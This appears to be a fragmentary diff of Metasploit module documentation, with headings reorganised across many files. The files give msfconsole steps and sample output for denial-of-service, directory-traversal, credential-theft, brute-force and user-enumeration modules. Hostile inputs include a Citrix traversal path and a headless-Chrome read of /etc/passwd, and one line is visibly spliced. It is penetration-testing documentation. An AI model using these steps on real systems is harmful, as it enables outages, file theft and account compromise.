## Vulnerable Application
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
Following list of softwares are vulnerable to Denial Of Service.
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
DiskBoss Enterprise <= v9.0.18
Sync Breeze Enterprise <= v10.6.24
Disk Pulse Enterprise <= v10.6.24
@@ -16,8 +16,7 @@ Disk Savvy Enterprise <= v10.6.24
Dup Scout Enterprise <= v10.6.24
VX Search Enterprise <= v10.6.24
**Vulnerable Application Link**
**Vulnerable Application Link**
http://www.diskboss.com/downloads.html
http://www.syncbreeze.com/downloads.html
http://www.diskpulse.com/downloads.html
@@ -25,7 +24,8 @@ http://www.disksavvy.com/downloads.html
http://www.dupscout.com/downloads.html
## Vulnerable Application Installation Setup.
### Installation Setup.
All Flexense applications that are listed above can be installed by following these steps.
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
@@ -51,7 +51,9 @@ Check the box saying: ```Enable web server on port:...```
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
## Scenarios
**TESTED AGAINST WINDOWS 7/10**
### WINDOWS 7/10
```
msf5 > use auxiliary/dos/http/flexense_http_server_dos
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
@@ -15,7 +15,7 @@ Vulnerable app versions include:
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999385
## Verification
## Verification Steps
1. Start msfconsole
1. `use auxiliary/dos/http/ibm_lotus_notes.rb`
@@ -15,7 +15,7 @@ IBM Notes 8.5 release
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
## Verification
## Verification Steps
Start msfconsole
@@ -6,7 +6,7 @@ Versions before 0.3.19 are vulnerable.
Any application that uses a vulnerable version of this module and passes untrusted input
to the module will be vulnerable.
## How to Install
### How to Install
To install a vulnerable version of `marked`, run:
```
@@ -15,8 +15,6 @@ npm i marked@0.3.19
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
@@ -0,0 +1,36 @@
## Vulnerable Application
Metasploit Framework before version 5.0.28
## Verification Steps
1. Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b)
2. Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener
3. Start this module and set RHOSTS and RPORT to the target listener address and port.
4. Run the modulest <rhost>```
7. `msfconsole` should use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually.
## Options
**DOSTYPE**
GENTLE: *Current sessions will continue to work, but not future ones*
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
SOFT: *No past or future sessions will work*
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
HARD: *ReDOS or Catastrophic Regex Backtracking*
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
## Scenarios
```
msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run
[*] Running module against 127.0.0.1
[*] 127.0.0.1:8080 - Sending DoS packet...
^C[-] Stopping running againest current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,16 @@
## Vulnerable Application
Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the `/shutdown` URL in applications that do
not have a user login area enabled.
## Scenario
![72550314-80cd8a00-38a3-11ea-9bad-942668a29390](https://user-images.githubusercontent.com/15425071/72602337-29bdc880-3928-11ea-8aec-ddadb3ff4f2d.png)
## Verification Steps :
List the steps needed to make sure this thing works
1. Start ```msfconsole```
2. ```use auxiliary/dos/http/tautulli_shutdown_exec```
3. ```set RHOSTS XXX.XXX.XXX.XXX```
4. ```run```
@@ -6,7 +6,7 @@ Any application that uses a vulnerable version of this module and calls the `get
or `getResult` functions will be vulnerable to this module. An example server is provided
below.
## How to Install
### How to Install
To install a vulnerable version of `ua-parser-js`, run:
```
@@ -15,8 +15,6 @@ npm i ua-parser-js@0.7.15
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
@@ -55,7 +55,7 @@ at ../src/ephy-main.c line 432
```
## Verification
## Verification Steps
Start msfconsole
use auxiliary/dos/http/webkitplus
@@ -10,18 +10,14 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Start msfconsole
1. Do: `use auxiliary/dos/smb/smb_loris`
1. Do: `set rhost [IP]`
1. Do: `run`
1. Target should allocate increasing amounts of memory.
2. Do: `use auxiliary/dos/smb/smb_loris`
3. Do: `set rhost [IP]`
4. Do: `run`
5. Target should allocate increasing amounts of memory.
## Scenarios
###
```
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
msf auxiliary(smb_loris) > set RHOST 192.168.172.138
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
This module exploits three vulnerabilities in Advantech WebAccess.
@@ -12,9 +12,6 @@ The final vulnerability exploited is that the HTML Form on the user edit page co
plain text password in the masked password input box. Typically the system should replace the
actual password with a masked character such as "*".
## Vulnerable Application
Version 8.1 was tested during development:
http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
@@ -41,7 +38,6 @@ The username to use to log into Advantech WebAccess. By default, there is a buil
The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
does not have a password, which could be something you can use.
## Demo
## Scenarios
![webaccess_steal_creds](https://cloud.githubusercontent.com/assets/1170914/22353246/34b2045e-e3e5-11e6-992c-f3ab9dcbe716.gif)
@@ -4,7 +4,7 @@ This module retrieves a browser's network interface IP addresses using WebRTC. H
Related links : https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html
## Verification
## Verification Steps
Start msfconsole
use auxiliary/gather/browser_lanipleak
@@ -1,4 +1,7 @@
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Vulnerable Application
The module use the Censys REST API to access the same data accessible through web interface.
The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Verification Steps
@@ -207,8 +210,3 @@ msf auxiliary(censys_search) > run
[+] wesecure.nl - [997423]
[*] Auxiliary module execution completed
```
## References
1. https://censys.io/api
@@ -0,0 +1,46 @@
# Chrome Debugger Arbitary File Read / Abitrary Web Request Auxiliary Module
This module takes advantage of misconfigured headless chrome sessions and either retrieves a specified file off the remote file system, or makes a web request from the remote machine.
## Headless Chrome Sessions
A vulnerable Headless Chrome session can be started with the following command:
```
$ google-chrome --remote-debugging-port=9222 --headless --remote-debugging-address=0.0.0.0
```
This will start a webserver running on port 9222 for all network interfaces.
## Verification Steps
1. Start `msfconsole`
2. Execute `auxiliary/gather/chrome_debugger`
3. Execute `set RHOST $REMOTE_ADDRESS`
4. Execute `set RPORT 9222`
5. Execute either `set FILEPATH $FILE_PATH_ON_REMOTE` or `set URL $URL_FROM_REMOTE`
6. Execute `run`
## Options
* FILEPATH - The file path on the remote you wish to retrieve
* URL - A URL you wish to fetch the contents of from the remote machine
**Note:** One or the other must be set!
## Example Run
```
[*] Attempting Connection to ws://192.168.20.168:9222/devtools/page/CF551031373306B35F961C6C0968DAEC
[*] Opened connection
[*] Attempting to load url file:///etc/passwd
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Retrieved resource
[*] Auxiliary module execution completed
```
## Notes
This can be useful for retrieving cloud metadata in certain scenarios. Primarily this module targets developers.
@@ -9,7 +9,7 @@ accounts are enabled or disabled/locked out.
To use kerberos_enumusers, make sure you are able to connect to the
Kerberos service on a Domain Controller.
## Scenario
## Scenarios
The following demonstrates basic usage, using a custom wordlist,
targeting a single Domain Controller to identify valid domain user
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
Nuuo CMS Session Bruteforce
@@ -49,8 +49,6 @@ Secondly, due to the nature of this application, it is normal to have the softwa
It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions below 2.4.0](d1.nuuo.com/NUUO/CMS/)
- 1.5.2 OK
@@ -73,9 +71,3 @@ msf5 auxiliary(gather/nuuo_cms_bruteforce) > exploit
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_bruteforce) >
```
## References
https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
Nuuo CMS Authenticated Arbitrary File Download
@@ -26,8 +26,6 @@ This module works in the following way:
Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.
## Vulnerable Application
[NUUO Central Management Server (CMS): all versions up to and including 3.5.0](http://d1.nuuo.com/NUUO/CMS/)
The following versions were tested:
@@ -63,9 +61,3 @@ msf5 auxiliary(gather/nuuo_cms_file_download) > exploit
[*] Auxiliary module execution completed
msf5 auxiliary(gather/nuuo_cms_file_download) >
```
## References
- https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt
@@ -1,3 +1,5 @@
## Vulnerable Application
External python module compatible with v2 and v3.
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
@@ -14,9 +16,7 @@ Microsoft Security Response Center stated on 2017-06-28 that this issue does not
This script is maintaing the ability to run independently of MSF.
## Vulnerable Application
Office365's implementation of ActiveSync
Office365's implementation of ActiveSync is vulnerable.
## Verification Steps
@@ -41,6 +41,7 @@ This script is maintaing the ability to run independently of MSF.
## Scenarios
The following demonstrates basic usage, using the supplied users wordlist
and default options.
@@ -72,6 +73,3 @@ grimhacker.com .. |
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## References
https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/
@@ -1,10 +1,11 @@
## Description
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
## Vulnerable Application
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
## Verification Steps
1. Start `msfconsole -q`
2. `use auxiliary/gather/samsung_browser_sop_bypass`
3. `set SRVHOST`
@@ -14,6 +15,7 @@ This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
5. `run`
## Scenarios
```
$ sudo msfconsole -q
msf > use auxiliary/gather/samsung_browser_sop_bypass
@@ -49,8 +51,6 @@ host origin service public private
msf auxiliary(samsung_browser_sop_bypass) >
```
## Demos
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`
@@ -1,6 +1,6 @@
## Vulnerable Application
More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan).
More information can be found on the [Rapid7 Blog](https://blog.rapid7.com/2010/03/08/locate-and-exploit-the-energizer-trojan).
Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777.
The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx).
@@ -1,5 +1,5 @@
## About
## Description
This module simply queries the DB2 discovery service for information.
The discovery service is integrated with the Configuration Assistant and the DB2® administration server.
@@ -12,9 +12,10 @@ Using the discovery method, catalog information for a remote server can be autom
3. `set THREDS [number of threads]`
4. `run`
## Scenarios
- DB2 `9.07.2` running at a `RHEL 6.9` .
### DB2 9.07.2 on RHEL 6.9
```
msf auxiliary(scanner/db2/discovery) > set RHOSTS 192.168.1.25
msf auxiliary(scanner/db2/discovery) > run
@@ -1,10 +1,10 @@
## Vulnerable Application
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
By default, anonymous access is allowed by the FTP server.
## Vulnerable Application
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
vulnerable application from the official website:
@@ -22,6 +22,6 @@ The FTP server IP address.
The file you wish to download. Assume this path starts from C:\
## Demonstration
## Scenarios
![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)
@@ -1,9 +1,7 @@
## Description
## Vulnerable Application
This module allows you to authenticate to Advantech WebAccess.
## Vulnerable Application
This module was specifically tested on versions 8.0, 8.1, and 8.2:
**8.2 Download**
@@ -23,7 +21,6 @@ Note:
By default, Advantech WebAccess comes with a built-in account named ```admin```, with a blank
password.
## Verification Steps
1. Make sure Advantech WebAccess is up and running
@@ -34,6 +31,6 @@ password.
6. ```run```
7. You should see that the module is attempting to log in.
## Demo
## Scenarios
![webaccess_login_demo](https://cloud.githubusercontent.com/assets/1170914/22352301/26549236-e3e1-11e6-9710-506166a8bee3.gif)
@@ -0,0 +1,42 @@
## Vulnerable Application
This module determines if usernames are valid on a server running Apache with the `UserDir` directive enabled.
It takes advantage of Apache returning different error codes for usernames that do not exist and for usernames
that exist but have no `public_html` directory.
### Enabling `UserDir` on Ubuntu 16.04 with Apache installed
1. `sudo a2enmod userdir`
2. `sudo service apache2 restart`
## Verification Steps
1. Do: ```use auxiliary/scanner/http/apache_userdir_enum```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Scenarios
### Apache 2.4.18 on Ubuntu 16.04
![apache_userdir_enum Demo](https://i.imgur.com/UZanfTI.gif)
```
msf5 > use auxiliary/scanner/http/apache_userdir_enum
msf5 auxiliary(scanner/http/apache_userdir_enum) > set rhosts alderaan
rhosts => alderaan
msf5 auxiliary(scanner/http/apache_userdir_enum) > run
[*] http://192.168.6.172/~ - Trying UserDir: ''
[*] http://192.168.6.172/ - Apache UserDir: '' not found
[*] http://192.168.6.172/~4Dgifts - Trying UserDir: '4Dgifts'
[*] http://192.168.6.172/ - Apache UserDir: '4Dgifts' not found
...
[*] http://192.168.6.172/~zabbix - Trying UserDir: 'zabbix'
[*] http://192.168.6.172/ - Apache UserDir: 'zabbix' not found
[*] http://192.168.6.172/~vagrant - Trying UserDir: 'vagrant'
[*] http://192.168.6.172/ - Apache UserDir: 'vagrant' not found
[+] http://192.168.6.172/ - Users found: backup, bin, daemon, games, gnats, irc, list, lp, mail, man, messagebus, news, nobody, proxy, sshd, sync, sys, syslog, uucp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -1,10 +1,9 @@
## Vulnerable Application
This module exploits a vulnerability found in Cisco Firepower Management console. A logged in
user can abuse the report viewing feature to download an arbitrary file. Authentication is
required to exploit this vulnerability.
## Vulnerable Application
This module was written specifically against Cisco Firepower Management 6.0.1 (build 1213) during
development. To test, you may download the virtual appliance here:
@@ -26,6 +25,6 @@ admin:Admin123 by default:
If the file is found, it will be saved in the loot directory. If not found, the module should
print an error indicating so.
## Demo
## Scenarios
![cisco_download_demo](https://cloud.githubusercontent.com/assets/1170914/21782825/78ada38e-d67a-11e6-9b7b-c7b8e2956fba.gif)
@@ -0,0 +1,57 @@
## Introduction
An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.
Because vulnerable servers allow for directory traversal, they will accept the request `GET /vpn/../vpns/` and process it as a request for `GET /vpns/`, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.
This module checks if a target server is vulnerable by issuing an HTTP GET request for `/vpn/../vpns/cfg/smb.conf`and then checking the response for `[global]` since this configuration file should contain global variables. If `[global]` is found, the server is vulnerable to CVE-2019-19781.
## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use auxiliary/scanner/http/citrix_dir_traversal`
4. Do: `set RHOSTS [IP]`
5. Do: `run`
## Options
1. `Proxies`. This option is not set by default.
2. `RPORT`. The default setting is `80`. To use: `set RPORT [PORT]`
3. `SSL`. The default setting is `false`.
4. `THREADS`. The default setting is `1`.
5. `VHOST`. This option is not set by default.
6. `TARGETURI`. This option is the base path. `/` by default.
7. `PATH`. This option is the traversal path. `/vpn/../vpns/cfg/smb.conf` by default.
## Scenarios
```
msf5 auxiliary(scanner/http/citrix_dir_traversal) > options
Module options (auxiliary/scanner/http/citrix_dir_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH /vpn/../vpns/cfg/smb.conf yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/http/citrix_dir_traversal) > run
[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/citrix_dir_traversal) >
```
## References
1. <https://nvd.nist.gov/vuln/detail/CVE-2019-19781>
2. <https://support.citrix.com/article/CTX267027>
@@ -9,7 +9,7 @@ The device has at least two (2) users - admin and user. Due to an access control
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
## Scenarios
```
msf > use auxiliary/scanner/http/cnpilot_r_web_login_loot
@@ -1,4 +1,4 @@
## Description
## Vulnerable Application
This module scans one or more web servers for interesting directories that can be further explored.
@@ -9,7 +9,7 @@ Related links :
* https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
* http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip - Download Oracle Glass Fish 4.1
## Verification
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/scanner/http/glassfish_traversal```
@@ -11,7 +11,7 @@ This module can abuse misconfigured web servers to upload and delete web content
6. Do: ```set FILEDATA [PATH]```
7. Do: ```run```
## Options
## Options
### ACTION
@@ -1,13 +1,15 @@
## Microsoft IIS shortname vulnerability scanner
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request) This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
## Vulnerable Application
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers
to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request)
this was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
### Remediation
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
## Verification Steps
1. Install IIS (default installations are vulnerable)
@@ -51,13 +53,3 @@ Older Microsoft IIS installations are vulnerable with GET, newer installations w
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
```
## Remediation
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
## References
* https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/
* https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability
@@ -12,7 +12,7 @@
* [RIPS v0.54 Source](https://sourceforge.net/projects/rips-scanner/files/rips-0.54.zip/download)
## Verification
## Verification Steps
1. Start `msfconsole`
2. `use auxiliary/scanner/http/rips_traversal`
@@ -1,13 +1,11 @@
## Description
## Vulnerable Application
This module exploits an unauthenticated directory traversal vulnerability, which exists in Spring Cloud Config versions 2.1.x prior to 2.1.2,versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6.
Spring Cloud Config listens by default on port 8888.
### Vulnerable Application
* https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.1.RELEASE.zip
## Verification
## Verification Steps
1. `./msfconsole`
2. `use auxiliary/scanner/http/springcloud_traversal`
@@ -29,7 +27,3 @@ msf auxiliary(scanner/http/springcloud_traversal) > run
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/springcloud_traversal) >
```
## References
* https://pivotal.io/security/cve-2019-3799
@@ -34,11 +34,15 @@ Affecting total.js package, versions:
## Options
* **TARGETURI**: Path to Total.js App installation (“/” is the default)
* **DEPTH**: Traversal depth (“1” is the default)
* **FILE**: File to obtain (“databases/settings.json” is the default for Total.js CMS App)
**DEPTH**
## Scenario
Traversal depth. Default is `1`
**FILE**
File to obtain. Default is `databases/settings.json`
## Scenarios
### Tested on Total.js framework 3.2.0 and Total.js CMS 12.0.0
@@ -0,0 +1,34 @@
## Description
This module exploits an unauthenticated directory traversal vulnerability which exists in TVT network surveillance management software-1000 version 3.4.1. NVMS listens by default on port 80.
### Vulnerable Application
* http://en.tvt.net.cn/upload/service/NVMS1000.zip
## Verification
1. `./msfconsole`
2. `use auxiliary/scanner/http/tvt_nvms_traversal`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### Tested against Windows 7 SP1
```
msf5 auxiliary(scanner/http/tvt_nvms_traversal) > set RHOSTS 192.168.43.152
RHOSTS => 192.168.43.152
msf5 auxiliary(scanner/http/tvt_nvms_traversal) > run
[+] File saved in: /root/.msf4/loot/20191230124941_default_192.168.43.152_nvms.traversal_240600.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/tvt_nvms_traversal) >
```
## References
* https://www.exploit-db.com/exploits/47774
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20085
@@ -1,15 +1,11 @@
## Description
## Vulnerable Application
This module attempts to authenticate against a Wordpress-site (via
XMLRPC) using username and password combinations indicated by the
`USER_FILE`, `PASS_FILE`, and `USERPASS_FILE` options.
## References
* [https://codex.wordpress.org/XML-RPC_Support](https://codex.wordpress.org/XML-RPC_Support)
* [http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/](http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/)
## Vulnerable Application
### Setup using Docksal
Install [Docksal](https://docksal.io/)
Create a new WordPress installation using `fin project create`
@@ -11,8 +11,6 @@
## Verification Steps
Example steps in this format (is also in the PR):
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_channel_brute```
@@ -21,7 +19,17 @@
6. Do: ```set rport <port>```
7. Do: ```run```
Example output:
## Options
**The CHANNELS_FILE option**
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
## Scenarios
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
```
msf auxiliary(scanner/misc/ibm_mq_channel_brute) > run
@@ -35,14 +43,3 @@
[*] Auxiliary module execution completed
```
## Options
**The CHANNELS_FILE option**
This option should contain the path to a text file which contains a list of channel names that will be checked. One channel name per line.
## Scenarios
This module can be used to identify a list of channel names that are configured on the Queue Manager. Additionally, the module will return whether each identified channel uses SSL and if it MQI type.
After obtaining a list of valid channel names, these can be used to further enumerate the MQ installation. For example, the ibm_mq_enum module can be executed using a valid channel name in order to obtain information regarding the Queue Manager.
@@ -1,5 +1,6 @@
## Vulnerable Application
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* IBM Downloads page: https://developer.ibm.com/messaging/mq-downloads/
* Tested on IBM MQ 7.5, 8 and 9
* Usage:
* Download and install MQ Server
@@ -8,7 +9,7 @@
* Run the module
## Verification Steps
Example steps in this format (is also in the PR):
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_enum```
@@ -16,8 +17,16 @@
5. Do: ```set rhosts <target_IP>```
6. Do: ```set rport <port>```
7. Do: ```run```
Example output:
## Options
### CHANNEL
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
## Scenarios
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
```
msf auxiliary(scanner/misc/ibm_mq_enum) > run
@@ -26,11 +35,3 @@ msf auxiliary(scanner/misc/ibm_mq_enum) > run
[*] Auxiliary module execution completed
```
## Options
**The CHANNEL option**
This option should contain the name of a valid MQ channel. This can be obtained using the module ```auxiliary/scanner/misc/ibm_mq_channel_brute```
## Scenarios
This module can be used to obtain the Queue Manager name as well as the version of the MQ being used on the target host. When the Queue Manager name and a valid MQI channel name without SSL is known , the module ```auxiliary/scanner/misc/ibm_mq_login``` can be used to identify usernames that can authenticate to the Queue Manager.
@@ -9,8 +9,8 @@
* Allow remote connections for admin users by removing the CHLAUTH record that denies all users or configure access for a specific username.
* Run the module
## Verification Steps
Example steps in this format (is also in the PR):
## Verification Steps
1. Install IBM MQ Server 7.5, 8, or 9
2. Start msfconsole
3. Do: ```use auxiliary/scanner/misc/ibm_mq_login```
@@ -21,7 +21,27 @@
7. Do: ```set rport <port>```
8. Do: ```run```
Example output:
## Options
### USERNAMES_FILE
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
### QUEUE_MANAGER
This option should contain the name of the target Queue Manager.
### CHANNEL
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
* ```auxiliary/scanner/misc/ibm_mq_enum```
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
```
msf auxiliary(scanner/misc/ibm_mq_login) > run
@@ -33,21 +53,3 @@ msf auxiliary(scanner/misc/ibm_mq_login) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Options
**The USERNAMES_FILE option**
This option should contain the path to a text file which contains a list of usernames that will be checked. One username per line.
**The QUEUE_MANAGER option**
This option should contain the name of the target Queue Manager.
**The CHANNEL option**
This option should contain the name of a server-connection channel that will be used to connect to the Queue Manager.
## Scenarios
This module can be used to identify a list of usernames that are allowed to connect to the Queue Manager. This module requires the name of a valid server-connection channel, the Queue Manager's name which can be obtained by running the following 2 modules:
* ```auxiliary/scanner/misc/ibm_mq_channel_brute```
* ```auxiliary/scanner/misc/ibm_mq_enum```
After identifying a valid username, MQ Explorer can be used to connect to the Queue Manager using the information gathered.
@@ -4,7 +4,7 @@ Exchange installations to enumerate email.
Error-based user enumeration for Office 365 integrated email addresses
## Verification
## Verification Steps
- Start `msfconsole`
- `use auxiliary/scanner/msmail/exchange_enum`
@@ -11,7 +11,7 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
## Verification Steps
- Start `msfconsole`
- `use auxiliary/scanner/msmail/host_id`
@@ -6,7 +6,7 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks.
**Note:** Currently uses RHOSTS which resolves to an IP which is NOT desired, this is currently being fixed
## Verification
## Verification Steps
- Start `msfconsole`
- `use auxiliary/scanner/msmail/onprem_enum`
@@ -0,0 +1,104 @@
## Vulnerable Application
This module attempts to authenticate against an Oracle RDBMS instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. The default wordlist
is [oracle_default_userpass.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/oracle_default_userpass.txt).
Default port for SQL*Net listener is 1521/tcp. If this port is open, try this module to login.
### Install
This module needs nmap 5.50 or above to function. However due to an [nmap bug](https://github.com/nmap/nmap/issues/1475) versions
6.50-7.80 may not work.
```
nmap -V
apt-get install nmap
```
In addition, if you encounter errors due to OCI libraries not being found, please see the
[How to get Oracle Support working with Kali Linux](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-Oracle-Support-working-with-Kali-Linux).
For Oracle Server, please follow the following
[guide](https://tutorialforlinux.com/2019/09/17/how-to-install-oracle-12c-r2-database-on-ubuntu-18-04-bionic-64-bit-easy-guide/).
## Verification Steps
